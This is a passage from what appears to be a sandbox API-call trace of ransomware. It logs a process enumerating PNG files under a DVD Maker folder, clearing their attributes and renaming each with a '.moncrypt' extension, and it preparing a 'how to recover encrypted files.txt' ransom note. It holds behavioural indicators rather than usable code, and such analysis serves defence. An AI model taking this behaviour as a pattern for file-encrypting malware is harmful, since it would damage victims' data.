out: hFindFile=0x54e280) returned 1 [0058.439] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.439] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.440] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png.moncrypt")) returned 0 [0058.440] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.440] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.440] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.440] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.441] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.441] GlobalUnlock (hMem=0x440004) returned 0 [0058.441] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.441] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.441] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.441] GlobalUnlock (hMem=0x440004) returned 0 [0058.441] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.441] GlobalUnlock (hMem=0x44000c) returned 0 [0058.441] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.441] CharLowerBuffW (in: lpsz="NavigationRight_SelectionSubpicture.png", cchLength=0x27 | out: lpsz="navigationright_selectionsubpicture.png") returned 0x27 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png", cchWideChar=91, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 91 [0058.442] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Shatter\\NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0058.443] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.443] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.443] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.443] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.443] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.443] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png.moncrypt")) returned 0 [0058.444] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.444] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.444] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.444] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.444] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.444] GlobalUnlock (hMem=0x44000c) returned 0 [0058.444] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.444] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.444] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.444] GlobalUnlock (hMem=0x44000c) returned 0 [0058.444] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.444] GlobalUnlock (hMem=0x440004) returned 0 [0058.444] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.444] CharLowerBuffW (in: lpsz="NavigationUp_ButtonGraphic.png", cchLength=0x1e | out: lpsz="navigationup_buttongraphic.png") returned 0x1e [0058.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.445] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 